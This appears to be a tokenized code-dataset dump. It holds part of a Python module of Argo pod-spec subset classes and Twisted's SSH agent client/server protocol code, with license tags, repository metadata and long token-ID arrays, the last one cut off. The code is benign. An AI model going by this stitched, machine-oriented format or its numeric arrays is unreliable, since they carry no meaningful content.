#'scheduler_name': 'schedulerName', #'security_context': 'securityContext', #'service_account': 'serviceAccount', #'service_account_name': 'serviceAccountName', #'share_process_namespace': 'shareProcessNamespace', #'subdomain': 'subdomain', #'termination_grace_period_seconds': 'terminationGracePeriodSeconds', 'tolerations': 'tolerations', 'volumes': 'volumes', } def __init__(self, active_deadline_seconds: Optional[int] = None, affinity: Optional[Mapping] = None, #Affinity, #No validation #automount_service_account_token: Optional[bool] = None, #Not supported by Argo #containers: Optional[List[Container]] = None, #Not supported by Argo #dns_config: Optional[PodDNSConfig] = None, #Not supported by Argo #dns_policy: Optional[str] = None, #Not supported by Argo #host_aliases: Optional[List[HostAlias]] = None, #Not supported by Argo #host_ipc: Optional[bool] = None, #Not supported by Argo #host_network: Optional[bool] = None, #Not supported by Argo #host_pid: Optional[bool] = None, #Not supported by Argo #hostname: Optional[str] = None, #Not supported by Argo #image_pull_secrets: Optional[List[LocalObjectReference]] = None, #Not supported by Argo #init_containers: Optional[List[Container]] = None, #Not supported by Argo #node_name: Optional[str] = None, #Not supported by Argo node_selector: Optional[Dict[str, str]] = None, #priority: Optional[int] = None, #Not supported by Argo #priority_class_name: Optional[str] = None, #Not supported by Argo #readiness_gates: Optional[List[PodReadinessGate]] = None, #Not supported by Argo #restart_policy: Optional[str] = None, #Not supported by Argo #scheduler_name: Optional[str] = None, #Not supported by Argo #security_context: Optional[PodSecurityContext] = None, #Not supported by Argo #service_account: Optional[str] = None, #Not supported by Argo #service_account_name: Optional[str] = None, #Not supported by Argo #share_process_namespace: Optional[bool] = None, #Not supported by Argo #subdomain: Optional[str] = None, #Not supported by Argo #termination_grace_period_seconds: Optional[int] = None, #Not supported by Argo tolerations: Optional[List[Toleration]] = None, volumes: Optional[List[Volume]] = None, #Argo only supports volumes at the Workflow level #+Argo features: #+Metadata: ArgoMetadata? (Argo version) #+RetryStrategy: ArgoRetryStrategy ~= k8s.JobSpec.backoffLimit #+Parallelism: int ): super().__init__(locals()) class ObjectMetaArgoSubset(ModelBase): def __init__(self, annotations: Optional[Dict[str, str]] = None, labels: Optional[Dict[str, str]] = None, ): super().__init__(locals()) class PodArgoSubset(ModelBase): _serialized_names = { 'api_version': 'apiVersion', 'kind': 'kind', 'metadata': 'metadata', 'spec': 'spec', 'status': 'status', } def __init__(self, #api_version: Optional[str] = None, #kind: Optional[str] = None, #metadata: Optional[ObjectMeta] = None, metadata: Optional[ObjectMetaArgoSubset] = None, #spec: Optional[PodSpec] = None, spec: Optional[PodSpecArgoSubset] = None, #status: Optional[PodStatus] = None, ): super().__init__(locals())
apache-2.0
[ 363, 452, 363, 275, 359, 272, 283, 4076, 297, 272, 283, 25928, 1596, 1939, 20113, 297, 199, 61, 421, 199, 504, 5055, 492, 8773, 199, 199, 504, 14090, 492, 6184, 12, 7448, 12, 3820, 12, 12340, 12, 4879, 12, 10975, 12, 15961, 199, 199, 504, 2263, 1238, 1095, 492, 5822, 1563, 421, 199, 533, 31543, 5894, 8, 1685, 1563, 304, 272, 485, 8397, 63, 1247, 275, 469, 267, 283, 585, 63, 504, 356, 283, 585, 2532, 297, 272, 789, 272, 347, 636, 826, 721, 277, 12, 267, 536, 26, 620, 12, 267, 574, 26, 4879, 59, 495, 61, 275, 488, 12, 267, 327, 585, 63, 504, 26, 4879, 59, 19342, 2980, 61, 275, 488, 12, 327, 11768, 26, 2654, 340, 4346, 272, 3461, 267, 1613, 11027, 826, 721, 9350, 1012, 421, 199, 533, 9434, 3310, 8, 1685, 1563, 304, 272, 347, 636, 826, 721, 277, 12, 267, 1414, 26, 3820, 59, 495, 467, 272, 3461, 267, 1613, 11027, 826, 721, 9350, 1012, 421, 199, 533, 18599, 8, 1685, 1563, 304, 272, 485, 8397, 63, 1247, 275, 469, 267, 283, 1014, 63, 362, 356, 283, 1014, 1002, 297, 267, 283, 8815, 63, 3450, 356, 283, 8815, 3869, 297, 272, 789, 272, 347, 636, 826, 721, 277, 12, 267, 2146, 26, 4879, 59, 4858, 3310, 61, 275, 488, 12, 267, 327, 1014, 63, 362, 26, 4879, 59, 2856, 1002, 3310, 61, 275, 488, 12, 327, 11768, 26, 2654, 340, 4346, 267, 327, 8815, 63, 3450, 26, 4879, 59, 9735, 3869, 3310, 61, 275, 488, 12, 327, 11768, 26, 2654, 340, 4346, 272, 3461, 267, 1613, 11027, 826, 721, 9350, 1012, 421, 199, 533, 491, 692, 29816, 2265, 8, 1685, 1563, 304, 272, 485, 8397, 63, 1247, 275, 469, 267, 283, 1932, 63, 928, 356, 283, 1932, 3162, 297, 267, 283, 657, 63, 2379, 356, 283, 657, 6293, 297, 272, 789, 272, 347, 636, 826, 721, 277, 12, 267, 2963, 63, 928, 26, 4879, 59, 2461, 61, 275, 488, 12, 267, 876, 63, 2379, 26, 4879, 59, 2461, 61, 275, 488, 12, 272, 3461, 267, 1613, 11027, 826, 721, 9350, 1012, 421, 199, 533, 15018, 24467, 8, 1685, 1563, 304, 272, 485, 8397, 63, 1247, 275, 469, 267, 283, 3956, 63, 515, 356, 283, 3956, 2042, 297, 267, 283, 3956, 63, 13535, 356, 283, 3956, 11376, 297, 267, 283, 739, 63, 2118, 356, 283, 739, 5903, 297, 267, 283, 954, 63, 515, 356, 283, 954, 2042, 297, 272, 789, 272, 347, 636, 826, 721, 277, 12, 267, 536, 26, 620, 12, 267, 10760, 63, 515, 26, 620, 12, 267, 10760, 63, 13535, 26, 4879, 59, 495, 61, 275, 488, 12, 267, 1586, 63, 2118, 26, 4879, 59, 2245, 61, 275, 488, 12, 267, 1007, 63, 515, 26, 4879, 59, 495, 61, 275, 488, 12, 272, 3461, 267, 1613, 11027, 826, 721, 9350, 1012, 421, 199, 533, 7337, 13902, 1470, 8, 1685, 1563, 304, 272, 347, 636, 826, 721, 277, 12, 267, 10976, 26, 4879, 59, 2141, 59, 495, 12, 620, 2677, 275, 488, 12, 267, 4145, 26, 4879, 59, 2141, 59, 495, 12, 620, 2677, 275, 488, 12, 272, 3461, 267, 1613, 11027, 826, 721, 9350, 1012, 421, 199, 533, 15395, 4313, 8, 1685, 1563, 304, 272, 485, 8397, 63, 1247, 275, 469, 267, 283, 3600, 63, 719, 356, 283, 3600, 4313, 297, 267, 283, 1102, 63, 711, 356, 283, 1102, 1772, 297, 267, 283, 1102, 63, 719, 356, 283, 1102, 4313, 297, 272, 789, 272, 347, 636, 826, 721, 277, 12, 267, 3970, 63, 719, 26, 1109, 12, 267, 1591, 63, 711, 26, 4879, 59, 495, 61, 275, 488, 12, 267, 1591, 63, 719, 26, 4879, 59, 442, 61, 275, 488, 12, 267, 536, 26, 4879, 59, 495, 61, 275, 488, 12, 267, 4113, 26, 4879, 59, 495, 61, 275, 488, 12, 272, 3461, 267, 1613, 11027, 826, 721, 9350, 1012, 421, 199, 533, 15018, 2510, 8, 1685, 1563, 304, 272, 485, 8397, 63, 1247, 275, 469, 267, 283, 1782, 63, 515, 356, 283, 1782, 2042, 297, 272, 789, 272, 347, 636, 826, 721, 277, 12, 267, 2243, 63, 515, 26, 620, 12, 267, 536, 26, 620, 12, 272, 3461, 267, 1613, 11027, 826, 721, 9350, 1012, 421, 199, 533, 2165, 1235, 8, 1685, 1563, 304, 272, 485, 8397, 63, 1247, 275, 469, 267, 283, 5328, 63, 7227, 356, 283, 5328, 12109, 297, 267, 283, 1014, 63, 362, 356, 283, 1014, 1002, 297, 267, 283, 2747, 63, 5814, 63, 4515, 356, 283, 2747, 10796, 13165, 297, 267, 283, 5191, 63, 4515, 356, 283, 5191, 13165, 297, 267, 283, 3742, 63, 7227, 356, 283, 3742, 12109, 297, 267, 283, 8815, 63, 3450, 356, 283, 8815, 3869, 297, 267, 283, 2593, 63, 4515, 356, 283, 2593, 13165, 7, 272, 789, 272, 347, 636, 826, 721, 277, 12, 267, 2146, 26, 4879, 59, 4858, 3310, 61, 275, 488, 12, 267, 5988, 63, 7227, 26, 4879, 59, 442, 61, 275, 488, 12, 267, 327, 1014, 63, 362, 26, 4879, 59, 2856, 1002, 3310, 61, 275, 488, 12, 327, 11768, 26, 2654, 340, 4346, 267, 2536, 63, 5814, 63, 4515, 26, 4879, 59, 442, 61, 275, 488, 12, 267, 6247, 63, 4515, 26, 4879, 59, 442, 61, 275, 488, 12, 267, 3182, 63, 7227, 26, 4879, 59, 442, 61, 275, 488, 12, 267, 327, 8815, 63, 3450, 26, 4879, 59, 9735, 3869, 3310, 61, 275, 488, 12, 327, 11768, 26, 2654, 340, 4346, 267, 2653, 63, 4515, 26, 4879, 59, 442, 61, 275, 488, 12, 272, 3461, 267, 1613, 11027, 826, 721, 9350, 1012, 421, 199, 533, 13863, 2998, 8, 1685, 1563, 304, 272, 485, 8397, 63, 1247, 275, 469, 267, 283, 3306, 63, 1359, 17228, 63, 397, 915, 425, 356, 283, 3306, 30447, 37, 4732, 425, 297, 267, 283, 10732, 356, 283, 10732, 297, 267, 283, 27672, 356, 283, 27672, 297, 267, 283, 739, 63, 2118, 63, 1231, 63, 11381, 356, 283, 739, 5903, 6405, 1173, 2253, 297, 267, 283, 1065, 63, 305, 63, 923, 356, 283, 1065, 2822, 2448, 297, 267, 283, 1065, 63, 305, 63, 2865, 63, 1231, 356, 283, 1065, 2822, 6932, 6405, 297, 267, 283, 1065, 63, 305, 63, 751, 356, 283, 1065, 2822, 1899, 297 ]
[ 452, 363, 275, 359, 272, 283, 4076, 297, 272, 283, 25928, 1596, 1939, 20113, 297, 199, 61, 421, 199, 504, 5055, 492, 8773, 199, 199, 504, 14090, 492, 6184, 12, 7448, 12, 3820, 12, 12340, 12, 4879, 12, 10975, 12, 15961, 199, 199, 504, 2263, 1238, 1095, 492, 5822, 1563, 421, 199, 533, 31543, 5894, 8, 1685, 1563, 304, 272, 485, 8397, 63, 1247, 275, 469, 267, 283, 585, 63, 504, 356, 283, 585, 2532, 297, 272, 789, 272, 347, 636, 826, 721, 277, 12, 267, 536, 26, 620, 12, 267, 574, 26, 4879, 59, 495, 61, 275, 488, 12, 267, 327, 585, 63, 504, 26, 4879, 59, 19342, 2980, 61, 275, 488, 12, 327, 11768, 26, 2654, 340, 4346, 272, 3461, 267, 1613, 11027, 826, 721, 9350, 1012, 421, 199, 533, 9434, 3310, 8, 1685, 1563, 304, 272, 347, 636, 826, 721, 277, 12, 267, 1414, 26, 3820, 59, 495, 467, 272, 3461, 267, 1613, 11027, 826, 721, 9350, 1012, 421, 199, 533, 18599, 8, 1685, 1563, 304, 272, 485, 8397, 63, 1247, 275, 469, 267, 283, 1014, 63, 362, 356, 283, 1014, 1002, 297, 267, 283, 8815, 63, 3450, 356, 283, 8815, 3869, 297, 272, 789, 272, 347, 636, 826, 721, 277, 12, 267, 2146, 26, 4879, 59, 4858, 3310, 61, 275, 488, 12, 267, 327, 1014, 63, 362, 26, 4879, 59, 2856, 1002, 3310, 61, 275, 488, 12, 327, 11768, 26, 2654, 340, 4346, 267, 327, 8815, 63, 3450, 26, 4879, 59, 9735, 3869, 3310, 61, 275, 488, 12, 327, 11768, 26, 2654, 340, 4346, 272, 3461, 267, 1613, 11027, 826, 721, 9350, 1012, 421, 199, 533, 491, 692, 29816, 2265, 8, 1685, 1563, 304, 272, 485, 8397, 63, 1247, 275, 469, 267, 283, 1932, 63, 928, 356, 283, 1932, 3162, 297, 267, 283, 657, 63, 2379, 356, 283, 657, 6293, 297, 272, 789, 272, 347, 636, 826, 721, 277, 12, 267, 2963, 63, 928, 26, 4879, 59, 2461, 61, 275, 488, 12, 267, 876, 63, 2379, 26, 4879, 59, 2461, 61, 275, 488, 12, 272, 3461, 267, 1613, 11027, 826, 721, 9350, 1012, 421, 199, 533, 15018, 24467, 8, 1685, 1563, 304, 272, 485, 8397, 63, 1247, 275, 469, 267, 283, 3956, 63, 515, 356, 283, 3956, 2042, 297, 267, 283, 3956, 63, 13535, 356, 283, 3956, 11376, 297, 267, 283, 739, 63, 2118, 356, 283, 739, 5903, 297, 267, 283, 954, 63, 515, 356, 283, 954, 2042, 297, 272, 789, 272, 347, 636, 826, 721, 277, 12, 267, 536, 26, 620, 12, 267, 10760, 63, 515, 26, 620, 12, 267, 10760, 63, 13535, 26, 4879, 59, 495, 61, 275, 488, 12, 267, 1586, 63, 2118, 26, 4879, 59, 2245, 61, 275, 488, 12, 267, 1007, 63, 515, 26, 4879, 59, 495, 61, 275, 488, 12, 272, 3461, 267, 1613, 11027, 826, 721, 9350, 1012, 421, 199, 533, 7337, 13902, 1470, 8, 1685, 1563, 304, 272, 347, 636, 826, 721, 277, 12, 267, 10976, 26, 4879, 59, 2141, 59, 495, 12, 620, 2677, 275, 488, 12, 267, 4145, 26, 4879, 59, 2141, 59, 495, 12, 620, 2677, 275, 488, 12, 272, 3461, 267, 1613, 11027, 826, 721, 9350, 1012, 421, 199, 533, 15395, 4313, 8, 1685, 1563, 304, 272, 485, 8397, 63, 1247, 275, 469, 267, 283, 3600, 63, 719, 356, 283, 3600, 4313, 297, 267, 283, 1102, 63, 711, 356, 283, 1102, 1772, 297, 267, 283, 1102, 63, 719, 356, 283, 1102, 4313, 297, 272, 789, 272, 347, 636, 826, 721, 277, 12, 267, 3970, 63, 719, 26, 1109, 12, 267, 1591, 63, 711, 26, 4879, 59, 495, 61, 275, 488, 12, 267, 1591, 63, 719, 26, 4879, 59, 442, 61, 275, 488, 12, 267, 536, 26, 4879, 59, 495, 61, 275, 488, 12, 267, 4113, 26, 4879, 59, 495, 61, 275, 488, 12, 272, 3461, 267, 1613, 11027, 826, 721, 9350, 1012, 421, 199, 533, 15018, 2510, 8, 1685, 1563, 304, 272, 485, 8397, 63, 1247, 275, 469, 267, 283, 1782, 63, 515, 356, 283, 1782, 2042, 297, 272, 789, 272, 347, 636, 826, 721, 277, 12, 267, 2243, 63, 515, 26, 620, 12, 267, 536, 26, 620, 12, 272, 3461, 267, 1613, 11027, 826, 721, 9350, 1012, 421, 199, 533, 2165, 1235, 8, 1685, 1563, 304, 272, 485, 8397, 63, 1247, 275, 469, 267, 283, 5328, 63, 7227, 356, 283, 5328, 12109, 297, 267, 283, 1014, 63, 362, 356, 283, 1014, 1002, 297, 267, 283, 2747, 63, 5814, 63, 4515, 356, 283, 2747, 10796, 13165, 297, 267, 283, 5191, 63, 4515, 356, 283, 5191, 13165, 297, 267, 283, 3742, 63, 7227, 356, 283, 3742, 12109, 297, 267, 283, 8815, 63, 3450, 356, 283, 8815, 3869, 297, 267, 283, 2593, 63, 4515, 356, 283, 2593, 13165, 7, 272, 789, 272, 347, 636, 826, 721, 277, 12, 267, 2146, 26, 4879, 59, 4858, 3310, 61, 275, 488, 12, 267, 5988, 63, 7227, 26, 4879, 59, 442, 61, 275, 488, 12, 267, 327, 1014, 63, 362, 26, 4879, 59, 2856, 1002, 3310, 61, 275, 488, 12, 327, 11768, 26, 2654, 340, 4346, 267, 2536, 63, 5814, 63, 4515, 26, 4879, 59, 442, 61, 275, 488, 12, 267, 6247, 63, 4515, 26, 4879, 59, 442, 61, 275, 488, 12, 267, 3182, 63, 7227, 26, 4879, 59, 442, 61, 275, 488, 12, 267, 327, 8815, 63, 3450, 26, 4879, 59, 9735, 3869, 3310, 61, 275, 488, 12, 327, 11768, 26, 2654, 340, 4346, 267, 2653, 63, 4515, 26, 4879, 59, 442, 61, 275, 488, 12, 272, 3461, 267, 1613, 11027, 826, 721, 9350, 1012, 421, 199, 533, 13863, 2998, 8, 1685, 1563, 304, 272, 485, 8397, 63, 1247, 275, 469, 267, 283, 3306, 63, 1359, 17228, 63, 397, 915, 425, 356, 283, 3306, 30447, 37, 4732, 425, 297, 267, 283, 10732, 356, 283, 10732, 297, 267, 283, 27672, 356, 283, 27672, 297, 267, 283, 739, 63, 2118, 63, 1231, 63, 11381, 356, 283, 739, 5903, 6405, 1173, 2253, 297, 267, 283, 1065, 63, 305, 63, 923, 356, 283, 1065, 2822, 2448, 297, 267, 283, 1065, 63, 305, 63, 2865, 63, 1231, 356, 283, 1065, 2822, 6932, 6405, 297, 267, 283, 1065, 63, 305, 63, 751, 356, 283, 1065, 2822, 1899, 297, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
candy7393/VTK
ThirdParty/Twisted/twisted/conch/ssh/agent.py
59
9556
# Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Implements the SSH v2 key agent protocol. This protocol is documented in the SSH source code, in the file U{PROTOCOL.agent<http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/PROTOCOL.agent>}. Maintainer: Paul Swartz """ import struct from twisted.conch.ssh.common import NS, getNS, getMP from twisted.conch.error import ConchError, MissingKeyStoreError from twisted.conch.ssh import keys from twisted.internet import defer, protocol class SSHAgentClient(protocol.Protocol): """ The client side of the SSH agent protocol. This is equivalent to ssh-add(1) and can be used with either ssh-agent(1) or the SSHAgentServer protocol, also in this package. """ def __init__(self): self.buf = '' self.deferreds = [] def dataReceived(self, data): self.buf += data while 1: if len(self.buf) <= 4: return packLen = struct.unpack('!L', self.buf[:4])[0] if len(self.buf) < 4 + packLen: return packet, self.buf = self.buf[4:4 + packLen], self.buf[4 + packLen:] reqType = ord(packet[0]) d = self.deferreds.pop(0) if reqType == AGENT_FAILURE: d.errback(ConchError('agent failure')) elif reqType == AGENT_SUCCESS: d.callback('') else: d.callback(packet) def sendRequest(self, reqType, data): pack = struct.pack('!LB',len(data) + 1, reqType) + data self.transport.write(pack) d = defer.Deferred() self.deferreds.append(d) return d def requestIdentities(self): """ @return: A L{Deferred} which will fire with a list of all keys found in the SSH agent. The list of keys is comprised of (public key blob, comment) tuples. """ d = self.sendRequest(AGENTC_REQUEST_IDENTITIES, '') d.addCallback(self._cbRequestIdentities) return d def _cbRequestIdentities(self, data): """ Unpack a collection of identities into a list of tuples comprised of public key blobs and comments. """ if ord(data[0]) != AGENT_IDENTITIES_ANSWER: raise ConchError('unexpected response: %i' % ord(data[0])) numKeys = struct.unpack('!L', data[1:5])[0] keys = [] data = data[5:] for i in range(numKeys): blob, data = getNS(data) comment, data = getNS(data) keys.append((blob, comment)) return keys def addIdentity(self, blob, comment = ''): """ Add a private key blob to the agent's collection of keys. """ req = blob req += NS(comment) return self.sendRequest(AGENTC_ADD_IDENTITY, req) def signData(self, blob, data): """ Request that the agent sign the given C{data} with the private key which corresponds to the public key given by C{blob}. The private key should have been added to the agent already. @type blob: C{str} @type data: C{str} @return: A L{Deferred} which fires with a signature for given data created with the given key. """ req = NS(blob) req += NS(data) req += '\000\000\000\000' # flags return self.sendRequest(AGENTC_SIGN_REQUEST, req).addCallback(self._cbSignData) def _cbSignData(self, data): if ord(data[0]) != AGENT_SIGN_RESPONSE: raise ConchError('unexpected data: %i' % ord(data[0])) signature = getNS(data[1:])[0] return signature def removeIdentity(self, blob): """ Remove the private key corresponding to the public key in blob from the running agent. """ req = NS(blob) return self.sendRequest(AGENTC_REMOVE_IDENTITY, req) def removeAllIdentities(self): """ Remove all keys from the running agent. """ return self.sendRequest(AGENTC_REMOVE_ALL_IDENTITIES, '') class SSHAgentServer(protocol.Protocol): """ The server side of the SSH agent protocol. This is equivalent to ssh-agent(1) and can be used with either ssh-add(1) or the SSHAgentClient protocol, also in this package. """ def __init__(self): self.buf = '' def dataReceived(self, data): self.buf += data while 1: if len(self.buf) <= 4: return packLen = struct.unpack('!L', self.buf[:4])[0] if len(self.buf) < 4 + packLen: return packet, self.buf = self.buf[4:4 + packLen], self.buf[4 + packLen:] reqType = ord(packet[0]) reqName = messages.get(reqType, None) if not reqName: self.sendResponse(AGENT_FAILURE, '') else: f = getattr(self, 'agentc_%s' % reqName) if getattr(self.factory, 'keys', None) is None: self.sendResponse(AGENT_FAILURE, '') raise MissingKeyStoreError() f(packet[1:]) def sendResponse(self, reqType, data): pack = struct.pack('!LB', len(data) + 1, reqType) + data self.transport.write(pack) def agentc_REQUEST_IDENTITIES(self, data): """ Return all of the identities that have been added to the server """ assert data == '' numKeys = len(self.factory.keys) resp = [] resp.append(struct.pack('!L', numKeys)) for key, comment in self.factory.keys.itervalues(): resp.append(NS(key.blob())) # yes, wrapped in an NS resp.append(NS(comment)) self.sendResponse(AGENT_IDENTITIES_ANSWER, ''.join(resp)) def agentc_SIGN_REQUEST(self, data): """ Data is a structure with a reference to an already added key object and some data that the clients wants signed with that key. If the key object wasn't loaded, return AGENT_FAILURE, else return the signature. """ blob, data = getNS(data) if blob not in self.factory.keys: return self.sendResponse(AGENT_FAILURE, '') signData, data = getNS(data) assert data == '\000\000\000\000' self.sendResponse(AGENT_SIGN_RESPONSE, NS(self.factory.keys[blob][0].sign(signData))) def agentc_ADD_IDENTITY(self, data): """ Adds a private key to the agent's collection of identities. On subsequent interactions, the private key can be accessed using only the corresponding public key. """ # need to pre-read the key data so we can get past it to the comment string keyType, rest = getNS(data) if keyType == 'ssh-rsa': nmp = 6 elif keyType == 'ssh-dss': nmp = 5 else: raise keys.BadKeyError('unknown blob type: %s' % keyType) rest = getMP(rest, nmp)[-1] # ignore the key data for now, we just want the comment comment, rest = getNS(rest) # the comment, tacked onto the end of the key blob k = keys.Key.fromString(data, type='private_blob') # not wrapped in NS here self.factory.keys[k.blob()] = (k, comment) self.sendResponse(AGENT_SUCCESS, '') def agentc_REMOVE_IDENTITY(self, data): """ Remove a specific key from the agent's collection of identities. """ blob, _ = getNS(data) k = keys.Key.fromString(blob, type='blob') del self.factory.keys[k.blob()] self.sendResponse(AGENT_SUCCESS, '') def agentc_REMOVE_ALL_IDENTITIES(self, data): """ Remove all keys from the agent's collection of identities. """ assert data == '' self.factory.keys = {} self.sendResponse(AGENT_SUCCESS, '') # v1 messages that we ignore because we don't keep v1 keys # open-ssh sends both v1 and v2 commands, so we have to # do no-ops for v1 commands or we'll get "bad request" errors def agentc_REQUEST_RSA_IDENTITIES(self, data): """ v1 message for listing RSA1 keys; superseded by agentc_REQUEST_IDENTITIES, which handles different key types. """ self.sendResponse(AGENT_RSA_IDENTITIES_ANSWER, struct.pack('!L', 0)) def agentc_REMOVE_RSA_IDENTITY(self, data): """ v1 message for removing RSA1 keys; superseded by agentc_REMOVE_IDENTITY, which handles different key types. """ self.sendResponse(AGENT_SUCCESS, '') def agentc_REMOVE_ALL_RSA_IDENTITIES(self, data): """ v1 message for removing all RSA1 keys; superseded by agentc_REMOVE_ALL_IDENTITIES, which handles different key types. """ self.sendResponse(AGENT_SUCCESS, '') AGENTC_REQUEST_RSA_IDENTITIES = 1 AGENT_RSA_IDENTITIES_ANSWER = 2 AGENT_FAILURE = 5 AGENT_SUCCESS = 6 AGENTC_REMOVE_RSA_IDENTITY = 8 AGENTC_REMOVE_ALL_RSA_IDENTITIES = 9 AGENTC_REQUEST_IDENTITIES = 11 AGENT_IDENTITIES_ANSWER = 12 AGENTC_SIGN_REQUEST = 13 AGENT_SIGN_RESPONSE = 14 AGENTC_ADD_IDENTITY = 17 AGENTC_REMOVE_IDENTITY = 18 AGENTC_REMOVE_ALL_IDENTITIES = 19 messages = {} for name, value in locals().copy().items(): if name[:7] == 'AGENTC_': messages[value] = name[7:] # doesn't handle doubles
bsd-3-clause
[ 3, 1898, 334, 67, 9, 17078, 8449, 26640, 14, 199, 3, 1666, 5113, 367, 2436, 14, 199, 199, 624, 199, 29452, 314, 12027, 373, 18, 790, 6631, 4113, 14, 221, 961, 4113, 365, 22751, 315, 314, 199, 13716, 1350, 1233, 12, 315, 314, 570, 199, 53, 91, 9583, 14, 4054, 28, 1014, 921, 1544, 14, 1490, 15746, 14, 1308, 15, 13814, 13, 1393, 15, 28151, 2520, 15, 2164, 15, 2647, 14, 1393, 15, 5510, 15, 9583, 14, 4054, 30, 5565, 199, 199, 11903, 8368, 281, 26, 28574, 16666, 28124, 199, 624, 199, 199, 646, 2702, 199, 199, 504, 7390, 14, 388, 335, 14, 5510, 14, 2330, 492, 9380, 12, 664, 2709, 12, 664, 1658, 199, 504, 7390, 14, 388, 335, 14, 705, 492, 1448, 335, 547, 12, 15626, 1197, 5502, 547, 199, 504, 7390, 14, 388, 335, 14, 5510, 492, 2883, 199, 504, 7390, 14, 4901, 492, 10133, 12, 4113, 4388, 199, 533, 12027, 7788, 3041, 8, 3922, 14, 3658, 304, 272, 408, 272, 710, 1890, 5366, 402, 314, 12027, 6631, 4113, 14, 221, 961, 365, 7353, 370, 272, 8635, 13, 525, 8, 17, 9, 436, 883, 506, 1202, 543, 1902, 8635, 13, 4054, 8, 17, 9, 503, 314, 12027, 7788, 3120, 272, 4113, 12, 2597, 315, 642, 2559, 14, 272, 408, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 1436, 275, 2125, 267, 291, 14, 12116, 83, 275, 942, 2378, 347, 666, 9392, 8, 277, 12, 666, 304, 267, 291, 14, 1436, 847, 666, 267, 1830, 413, 26, 288, 340, 822, 8, 277, 14, 1436, 9, 2695, 841, 26, 355, 372, 288, 1706, 3166, 275, 2702, 14, 5301, 16157, 44, 297, 291, 14, 1436, 1491, 20, 11057, 16, 61, 288, 340, 822, 8, 277, 14, 1436, 9, 665, 841, 435, 1706, 3166, 26, 355, 372, 288, 3644, 12, 291, 14, 1436, 275, 291, 14, 1436, 59, 20, 26, 20, 435, 1706, 3166, 467, 291, 14, 1436, 59, 20, 435, 1706, 3166, 2938, 288, 2648, 804, 275, 6206, 8, 6253, 59, 16, 566, 288, 366, 275, 291, 14, 12116, 83, 14, 1935, 8, 16, 9, 288, 340, 2648, 804, 508, 26787, 1309, 63, 13989, 26, 355, 366, 14, 28940, 8, 714, 335, 547, 360, 4054, 5988, 1333, 288, 916, 2648, 804, 508, 26787, 1309, 63, 12779, 26, 355, 366, 14, 3058, 8355, 288, 587, 26, 355, 366, 14, 3058, 8, 6253, 9, 2378, 347, 3222, 2017, 8, 277, 12, 2648, 804, 12, 666, 304, 267, 1706, 275, 2702, 14, 1389, 16157, 11568, 297, 552, 8, 576, 9, 435, 413, 12, 2648, 804, 9, 435, 666, 267, 291, 14, 5545, 14, 952, 8, 1389, 9, 267, 366, 275, 10133, 14, 9937, 342, 267, 291, 14, 12116, 83, 14, 740, 8, 68, 9, 267, 372, 366, 2378, 347, 1056, 17062, 5080, 8, 277, 304, 267, 408, 267, 768, 1107, 26, 437, 491, 91, 9937, 93, 1314, 911, 8344, 543, 282, 769, 402, 1006, 2883, 1911, 315, 288, 314, 12027, 6631, 14, 710, 769, 402, 2883, 365, 1013, 322, 939, 402, 334, 3455, 790, 9182, 12, 288, 3721, 9, 6346, 14, 267, 408, 267, 366, 275, 291, 14, 2254, 2017, 8, 14565, 35, 63, 6780, 63, 7466, 19144, 12, 4074, 267, 366, 14, 10053, 8, 277, 423, 2894, 2017, 17062, 5080, 9, 267, 372, 366, 2378, 347, 485, 2894, 2017, 17062, 5080, 8, 277, 12, 666, 304, 267, 408, 267, 31017, 282, 3245, 402, 6120, 5080, 1901, 282, 769, 402, 6346, 1013, 322, 939, 402, 267, 4575, 790, 9182, 83, 436, 6786, 14, 267, 408, 267, 340, 6206, 8, 576, 59, 16, 566, 1137, 26787, 1309, 63, 7466, 19144, 63, 5622, 12018, 26, 288, 746, 1448, 335, 547, 360, 8953, 1177, 26, 450, 73, 7, 450, 6206, 8, 576, 59, 16, 2459, 267, 1967, 6340, 275, 2702, 14, 5301, 16157, 44, 297, 666, 59, 17, 26, 21, 11057, 16, 61, 267, 2883, 275, 942, 267, 666, 275, 666, 59, 21, 2938, 267, 367, 284, 315, 1425, 8, 1507, 6340, 304, 288, 9182, 12, 666, 275, 664, 2709, 8, 576, 9, 288, 3721, 12, 666, 275, 664, 2709, 8, 576, 9, 288, 2883, 14, 740, 1332, 6582, 12, 3721, 430, 267, 372, 2883, 2378, 347, 1050, 10193, 8, 277, 12, 9182, 12, 3721, 275, 21019, 267, 408, 267, 2654, 282, 5726, 790, 9182, 